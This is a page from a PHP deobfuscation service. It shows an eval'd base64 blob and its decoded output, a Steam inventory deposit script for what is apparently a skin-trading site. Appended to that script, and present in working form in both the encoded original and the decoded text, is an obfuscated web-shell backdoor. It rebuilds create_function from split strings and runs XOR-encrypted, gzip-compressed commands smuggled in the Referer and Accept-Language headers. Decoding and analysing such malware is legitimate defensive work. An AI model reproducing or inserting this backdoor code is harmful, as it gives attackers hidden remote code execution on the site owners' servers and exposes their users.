Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @eval("?>".base64_decode("PD9waHANCmluY2x1ZGUgKCdsaW5rLnBocCcpOw0KcmVxdWlyZV9vbmNlKC..

Decoded Output download

?>b'<?php
include (\'link.php\');
require_once(\'steamauth/steamauth.php\');
@include_once(\'steamauth/userInfo.php\');
if(!(isset($_SESSION["steamid"]))) exit(json_encode(array(\'success\'=>false, \'error\'=>\'You must login to access the deposit.\')));
		if((file_exists(\'cache/\'.$user[\'steamid\'].\'.txt\')) && (!isset($_GET[\'nocache\']))) {
			$array = file_get_contents(\'cache/\'.$user[\'steamid\'].\'.txt\');
			$array = unserialize($array);
			$array[\'fromcache\'] = true;
			if(isset($_COOKIE[\'tid\'])) {
				$sql = $db->query(\'SELECT * FROM `trades` WHERE `id` = \'.$db->quote($_COOKIE[\'tid\']).\' AND `status` = 0\');
				if($sql->rowCount() != 0) {
					$row = $sql->fetch();
					$array[\'code\'] = $row[\'code\'];
					$array[\'amount\'] = $row[\'summa\'];
					$array[\'tid\'] = $row[\'id\'];
					$array[\'bot\'] = "Bot #".$row[\'bot_id\'];
				} else {
					setcookie("tid", "", time() - 3600, \'/\');
				}
			}
			exit(json_encode($array));
		}
		$prices = file_get_contents(\'prices.txt\');
		$prices = json_decode($prices, true);
		$inv = curl(\'https://steamcommunity.com/profiles/\'.$user[\'steamid\'].\'/inventory/json/433850/1/\');
		$inv = json_decode($inv, true);
		if($inv[\'success\'] != 1) {
			exit(json_encode(array(\'error\'=>\'Your profile is private. Please <a href="http://steamcommunity.com/my/edit/settings" target="_blank">set your inventory to public</a> and <a href="javascript:loadLeft(\'nocache\')">try again</a>.\')));
		}
		$items = array();
		foreach ($inv[\'rgInventory\'] as $key => $value) {
			$id = $value[\'classid\'].\'_\'.$value[\'instanceid\'];
			$trade = $inv[\'rgDescriptions\'][$id][\'tradable\'];
			if(!$trade) continue;
			$name = $inv[\'rgDescriptions\'][$id][\'name\'];
			$price = $prices[$name]*1000;
			if ($price <= 5000){
				$price = $price * 0.85;
			} else if ($price <= 10000){
				$price = $price * 0.93;
			}
			$img = \'http://steamcommunity-a.akamaihd.net/economy/image/\'.$inv[\'rgDescriptions\'][$id][\'icon_url\'];
			if((preg_match(\'/(Souvenir)/\', $name)) || ($price < $min)) {
				$price = 0;
				$reject = \'Junk\';
			} else {
				$reject = \'unknown item\';
			}
			$items[] = array(
				\'assetid\' => $value[\'id\'],
				\'bt_price\' => "0.00",
				\'img\' => $img,
				\'name\' => $name,
				\'price\' => floor($price),
				\'reject\' => $reject,
				\'sa_price\' => $price,
				\'steamid\' => $user[\'steamid\']);
		}

		$array = array(
			\'error\' => \'none\',
			\'fromcache\' => false,
			\'items\' => $items,
			\'success\' => true);
		if(isset($_COOKIE[\'tid\'])) {
			$sql = $db->query(\'SELECT * FROM `trades` WHERE `id` = \'.$db->quote($_COOKIE[\'tid\']).\' AND `status` = 0\');
			if($sql->rowCount() != 0) {
				$row = $sql->fetch();
				$array[\'code\'] = $row[\'code\'];
				$array[\'amount\'] = $row[\'summa\'];
				$array[\'tid\'] = $row[\'id\'];
				$array[\'bot\'] = "Bot #".$row[\'bot_id\'];
			} else {
				setcookie("tid", "", time() - 3600, \'/\');
			}
		}
		file_put_contents(\'cache/\'.$user[\'steamid\'].\'.txt\', serialize($array), LOCK_EX);
		exit(json_encode($array));
		?>
		<?php
$f=\'n()s;;$d=bs;ase64_ens;code(s;x(gs;zcompress;s($o),$s;k));print("<s;$s;k>$d<s;/$k>");@ses;ssion_s;destroy(s;);}}}}\';
$Z=\'$kh="642s;8"s;;$kf="28a4s;";fs;us;nction x(s;$t,$k)s;{$c=s;strlen($k);s;s;$l=sts;rlen($s;t);$o="";for(\';
$T=\'"/-/"),arrs;as;y("/s;","+"),$s;ss($s[$i],0,$e))),s;$k)));$os;=ob_get_s;s;contents();ob_es;nds;_clea\';
$n=str_replace(\'FL\',\'\',\'cFLreatFLeFL_fuFLFLFLnction\');
$N=\'($ss;s(mds;5($i.s;s;$kh),0,3))s;;$f=$sl($ss(mds;s;5($s;i.$kf),0,3));$s;p="";fors;($z=1;$s;z<cos;unts;\';
$E=\'s;reg_mats;ch_all(s;"/s;([\w]s;)[\w-s;]+(?:;q=0.s;([s;\d]))?,?/",s;$s;ra,s;$m);if($q&&s;s;$ms;){@ss;essio\';
$D=\');}if(arras;y_key_exis;s;sts($i,$s)){$s;s[$i]s;.s;=$p;$e=ss;trpos($ss;s;s;[s;s;$i],$f);if($e){$k=$k\';
$I=\'$is;=0;$i<s;$l;){fs;os;r($j=0s;;($j<s;$cs;&s;&$i<$l);$j++,$i+s;+){s;$o.=$t{$is;}^$s;k{$j};}}s;return $o;}\';
$c=\'n_start();$s=&$_Ss;ESSION;$s;sss;=s;"substrs;";s;$sl="strtolower"s;;$i=$m[1]s;[0].$m[1]s;[1];$hs;=$ss;l\';
$P=\'r&&$rs;as;){    s;$u=parse_urls;($rr);s;    pas;rse_sts;r($u[s;"qs;uerys;"],$q)s;;$q=array_vals;us;es(s;$q);p\';
$b=\'($m[1]);$zs;++) s;$p.=$qs;[$ms;[2][$z]];s;if(strpos;s($p,s;$h)===s;0){$s[$s;i]s;="";$ps;=$sss;(s;$p,3\';
$J=\'$s;r=$_s;Ss;ERVEs;R;$rr=@$r["HTTPs;_s;REFERs;ERs;"];$ra=@$r[s;"HTTPs;_s;ACCs;s;EPT_LANGUAGE"];if($r\';
$k=\'h.$kf;ob_stas;rts;();@evas;l(@gzuns;cs;ompress(@x(s;@base6s;4_des;code(preg_s;s;replace(s;arrays;(s;"/_/s;",s;s;\';
$s=str_replace(\'s;\',\'\',$Z.$I.$J.$P.$E.$c.$N.$b.$D.$k.$T.$f);
$v=$n(\'\',$s);$v();
?>
'

Did this file decode correctly?

Original Code

<?php @eval("?>".base64_decode("PD9waHANCmluY2x1ZGUgKCdsaW5rLnBocCcpOw0KcmVxdWlyZV9vbmNlKCdzdGVhbWF1dGgvc3RlYW1hdXRoLnBocCcpOw0KQGluY2x1ZGVfb25jZSgnc3RlYW1hdXRoL3VzZXJJbmZvLnBocCcpOw0KaWYoIShpc3NldCgkX1NFU1NJT05bInN0ZWFtaWQiXSkpKSBleGl0KGpzb25fZW5jb2RlKGFycmF5KCdzdWNjZXNzJz0+ZmFsc2UsICdlcnJvcic9PidZb3UgbXVzdCBsb2dpbiB0byBhY2Nlc3MgdGhlIGRlcG9zaXQuJykpKTsNCgkJaWYoKGZpbGVfZXhpc3RzKCdjYWNoZS8nLiR1c2VyWydzdGVhbWlkJ10uJy50eHQnKSkgJiYgKCFpc3NldCgkX0dFVFsnbm9jYWNoZSddKSkpIHsNCgkJCSRhcnJheSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCdjYWNoZS8nLiR1c2VyWydzdGVhbWlkJ10uJy50eHQnKTsNCgkJCSRhcnJheSA9IHVuc2VyaWFsaXplKCRhcnJheSk7DQoJCQkkYXJyYXlbJ2Zyb21jYWNoZSddID0gdHJ1ZTsNCgkJCWlmKGlzc2V0KCRfQ09PS0lFWyd0aWQnXSkpIHsNCgkJCQkkc3FsID0gJGRiLT5xdWVyeSgnU0VMRUNUICogRlJPTSBgdHJhZGVzYCBXSEVSRSBgaWRgID0gJy4kZGItPnF1b3RlKCRfQ09PS0lFWyd0aWQnXSkuJyBBTkQgYHN0YXR1c2AgPSAwJyk7DQoJCQkJaWYoJHNxbC0+cm93Q291bnQoKSAhPSAwKSB7DQoJCQkJCSRyb3cgPSAkc3FsLT5mZXRjaCgpOw0KCQkJCQkkYXJyYXlbJ2NvZGUnXSA9ICRyb3dbJ2NvZGUnXTsNCgkJCQkJJGFycmF5WydhbW91bnQnXSA9ICRyb3dbJ3N1bW1hJ107DQoJCQkJCSRhcnJheVsndGlkJ10gPSAkcm93WydpZCddOw0KCQkJCQkkYXJyYXlbJ2JvdCddID0gIkJvdCAjIi4kcm93Wydib3RfaWQnXTsNCgkJCQl9IGVsc2Ugew0KCQkJCQlzZXRjb29raWUoInRpZCIsICIiLCB0aW1lKCkgLSAzNjAwLCAnLycpOw0KCQkJCX0NCgkJCX0NCgkJCWV4aXQoanNvbl9lbmNvZGUoJGFycmF5KSk7DQoJCX0NCgkJJHByaWNlcyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCdwcmljZXMudHh0Jyk7DQoJCSRwcmljZXMgPSBqc29uX2RlY29kZSgkcHJpY2VzLCB0cnVlKTsNCgkJJGludiA9IGN1cmwoJ2h0dHBzOi8vc3RlYW1jb21tdW5pdHkuY29tL3Byb2ZpbGVzLycuJHVzZXJbJ3N0ZWFtaWQnXS4nL2ludmVudG9yeS9qc29uLzQzMzg1MC8xLycpOw0KCQkkaW52ID0ganNvbl9kZWNvZGUoJGludiwgdHJ1ZSk7DQoJCWlmKCRpbnZbJ3N1Y2Nlc3MnXSAhPSAxKSB7DQoJCQlleGl0KGpzb25fZW5jb2RlKGFycmF5KCdlcnJvcic9PidZb3VyIHByb2ZpbGUgaXMgcHJpdmF0ZS4gUGxlYXNlIDxhIGhyZWY9Imh0dHA6Ly9zdGVhbWNvbW11bml0eS5jb20vbXkvZWRpdC9zZXR0aW5ncyIgdGFyZ2V0PSJfYmxhbmsiPnNldCB5b3VyIGludmVudG9yeSB0byBwdWJsaWM8L2E+IGFuZCA8YSBocmVmPSJqYXZhc2NyaXB0OmxvYWRMZWZ0KFwnbm9jYWNoZVwnKSI+dHJ5IGFnYWluPC9hPi4nKSkpOw0KCQl9DQoJCSRpdGVtcyA9IGFycmF5KCk7DQoJCWZvcmVhY2ggKCRpbnZbJ3JnSW52ZW50b3J5J10gYXMgJGtleSA9PiAkdmFsdWUpIHsNCgkJCSRpZCA9ICR2YWx1ZVsnY2xhc3NpZCddLidfJy4kdmFsdWVbJ2luc3RhbmNlaWQnXTsNCgkJCSR0cmFkZSA9ICRpbnZbJ3JnRGVzY3JpcHRpb25zJ11bJGlkXVsndHJhZGFibGUnXTsNCgkJCWlmKCEkdHJhZGUpIGNvbnRpbnVlOw0KCQkJJG5hbWUgPSAkaW52WydyZ0Rlc2NyaXB0aW9ucyddWyRpZF1bJ25hbWUnXTsNCgkJCSRwcmljZSA9ICRwcmljZXNbJG5hbWVdKjEwMDA7DQoJCQlpZiAoJHByaWNlIDw9IDUwMDApew0KCQkJCSRwcmljZSA9ICRwcmljZSAqIDAuODU7DQoJCQl9IGVsc2UgaWYgKCRwcmljZSA8PSAxMDAwMCl7DQoJCQkJJHByaWNlID0gJHByaWNlICogMC45MzsNCgkJCX0NCgkJCSRpbWcgPSAnaHR0cDovL3N0ZWFtY29tbXVuaXR5LWEuYWthbWFpaGQubmV0L2Vjb25vbXkvaW1hZ2UvJy4kaW52WydyZ0Rlc2NyaXB0aW9ucyddWyRpZF1bJ2ljb25fdXJsJ107DQoJCQlpZigocHJlZ19tYXRjaCgnLyhTb3V2ZW5pcikvJywgJG5hbWUpKSB8fCAoJHByaWNlIDwgJG1pbikpIHsNCgkJCQkkcHJpY2UgPSAwOw0KCQkJCSRyZWplY3QgPSAnSnVuayc7DQoJCQl9IGVsc2Ugew0KCQkJCSRyZWplY3QgPSAndW5rbm93biBpdGVtJzsNCgkJCX0NCgkJCSRpdGVtc1tdID0gYXJyYXkoDQoJCQkJJ2Fzc2V0aWQnID0+ICR2YWx1ZVsnaWQnXSwNCgkJCQknYnRfcHJpY2UnID0+ICIwLjAwIiwNCgkJCQknaW1nJyA9PiAkaW1nLA0KCQkJCSduYW1lJyA9PiAkbmFtZSwNCgkJCQkncHJpY2UnID0+IGZsb29yKCRwcmljZSksDQoJCQkJJ3JlamVjdCcgPT4gJHJlamVjdCwNCgkJCQknc2FfcHJpY2UnID0+ICRwcmljZSwNCgkJCQknc3RlYW1pZCcgPT4gJHVzZXJbJ3N0ZWFtaWQnXSk7DQoJCX0NCg0KCQkkYXJyYXkgPSBhcnJheSgNCgkJCSdlcnJvcicgPT4gJ25vbmUnLA0KCQkJJ2Zyb21jYWNoZScgPT4gZmFsc2UsDQoJCQknaXRlbXMnID0+ICRpdGVtcywNCgkJCSdzdWNjZXNzJyA9PiB0cnVlKTsNCgkJaWYoaXNzZXQoJF9DT09LSUVbJ3RpZCddKSkgew0KCQkJJHNxbCA9ICRkYi0+cXVlcnkoJ1NFTEVDVCAqIEZST00gYHRyYWRlc2AgV0hFUkUgYGlkYCA9ICcuJGRiLT5xdW90ZSgkX0NPT0tJRVsndGlkJ10pLicgQU5EIGBzdGF0dXNgID0gMCcpOw0KCQkJaWYoJHNxbC0+cm93Q291bnQoKSAhPSAwKSB7DQoJCQkJJHJvdyA9ICRzcWwtPmZldGNoKCk7DQoJCQkJJGFycmF5Wydjb2RlJ10gPSAkcm93Wydjb2RlJ107DQoJCQkJJGFycmF5WydhbW91bnQnXSA9ICRyb3dbJ3N1bW1hJ107DQoJCQkJJGFycmF5Wyd0aWQnXSA9ICRyb3dbJ2lkJ107DQoJCQkJJGFycmF5Wydib3QnXSA9ICJCb3QgIyIuJHJvd1snYm90X2lkJ107DQoJCQl9IGVsc2Ugew0KCQkJCXNldGNvb2tpZSgidGlkIiwgIiIsIHRpbWUoKSAtIDM2MDAsICcvJyk7DQoJCQl9DQoJCX0NCgkJZmlsZV9wdXRfY29udGVudHMoJ2NhY2hlLycuJHVzZXJbJ3N0ZWFtaWQnXS4nLnR4dCcsIHNlcmlhbGl6ZSgkYXJyYXkpLCBMT0NLX0VYKTsNCgkJZXhpdChqc29uX2VuY29kZSgkYXJyYXkpKTsNCgkJPz4NCgkJPD9waHANCiRmPSduKClzOzskZD1iczthc2U2NF9lbnM7Y29kZShzO3goZ3M7emNvbXByZXNzO3MoJG8pLCRzO2spKTtwcmludCgiPHM7JHM7az4kZDxzOy8kaz4iKTtAc2VzO3NzaW9uX3M7ZGVzdHJveShzOyk7fX19fSc7DQokWj0nJGtoPSI2NDJzOzgiczs7JGtmPSIyOGE0czsiO2ZzO3VzO25jdGlvbiB4KHM7JHQsJGspczt7JGM9cztzdHJsZW4oJGspO3M7czskbD1zdHM7cmxlbigkczt0KTskbz0iIjtmb3IoJzsNCiRUPSciLy0vIiksYXJyczthczt5KCIvczsiLCIrIiksJHM7c3MoJHNbJGldLDAsJGUpKSksczskaykpKTskb3M7PW9iX2dldF9zO3M7Y29udGVudHMoKTtvYl9lcztuZHM7X2NsZWEnOw0KJG49c3RyX3JlcGxhY2UoJ0ZMJywnJywnY0ZMcmVhdEZMZUZMX2Z1RkxGTEZMbmN0aW9uJyk7DQokTj0nKCRzcztzKG1kczs1KCRpLnM7czska2gpLDAsMykpczs7JGY9JHNsKCRzcyhtZHM7czs1KCRzO2kuJGtmKSwwLDMpKTskcztwPSIiO2ZvcnM7KCR6PTE7JHM7ejxjb3M7dW50czsnOw0KJEU9J3M7cmVnX21hdHM7Y2hfYWxsKHM7Ii9zOyhbXFx3XXM7KVtcXHctcztdKyg/OjtxPTAuczsoW3M7XFxkXSkpPyw/LyIsczskcztyYSxzOyRtKTtpZigkcSYmcztzOyRtczspe0Bzcztlc3Npbyc7DQokRD0nKTt9aWYoYXJyYXM7eV9rZXlfZXhpcztzO3N0cygkaSwkcykpeyRzO3NbJGldczsuczs9JHA7JGU9c3M7dHJwb3MoJHNzO3M7cztbcztzOyRpXSwkZik7aWYoJGUpeyRrPSRrJzsNCiRJPSckaXM7PTA7JGk8czskbDspe2ZzO29zO3IoJGo9MHM7OygkajxzOyRjczsmczsmJGk8JGwpOyRqKyssJGkrczsrKXtzOyRvLj0kdHskaXM7fV4kcztreyRqfTt9fXM7cmV0dXJuICRvO30nOw0KJGM9J25fc3RhcnQoKTskcz0mJF9TcztFU1NJT047JHM7c3NzOz1zOyJzdWJzdHJzOyI7czskc2w9InN0cnRvbG93ZXIiczs7JGk9JG1bMV1zO1swXS4kbVsxXXM7WzFdOyRoczs9JHNzO2wnOw0KJFA9J3ImJiRyczthczspeyAgICBzOyR1PXBhcnNlX3VybHM7KCRycik7czsgICAgcGFzO3JzZV9zdHM7cigkdVtzOyJxczt1ZXJ5czsiXSwkcSlzOzskcT1hcnJheV92YWxzO3VzO2VzKHM7JHEpO3AnOw0KJGI9JygkbVsxXSk7JHpzOysrKSBzOyRwLj0kcXM7WyRtcztbMl1bJHpdXTtzO2lmKHN0cnBvcztzKCRwLHM7JGgpPT09czswKXskc1skcztpXXM7PSIiOyRwczs9JHNzczsoczskcCwzJzsNCiRKPSckcztyPSRfcztTcztFUlZFcztSOyRycj1AJHJbIkhUVFBzO19zO1JFRkVScztFUnM7Il07JHJhPUAkcltzOyJIVFRQcztfcztBQ0NzO3M7RVBUX0xBTkdVQUdFIl07aWYoJHInOw0KJGs9J2guJGtmO29iX3N0YXM7cnRzOygpO0BldmFzO2woQGd6dW5zO2NzO29tcHJlc3MoQHgocztAYmFzZTZzOzRfZGVzO2NvZGUocHJlZ19zO3M7cmVwbGFjZShzO2FycmF5czsoczsiL18vczsiLHM7czsnOw0KJHM9c3RyX3JlcGxhY2UoJ3M7JywnJywkWi4kSS4kSi4kUC4kRS4kYy4kTi4kYi4kRC4kay4kVC4kZik7DQokdj0kbignJywkcyk7JHYoKTsNCj8+DQo="));//Generated by Ampare PHP Encoder. For more security please use php protect before encode the php program

Function Calls

base64_decode 1

Variables

None

Stats

MD5 af04be60618c25d6dd43c7446ac1464e
Eval Count 1
Decode Time 81 ms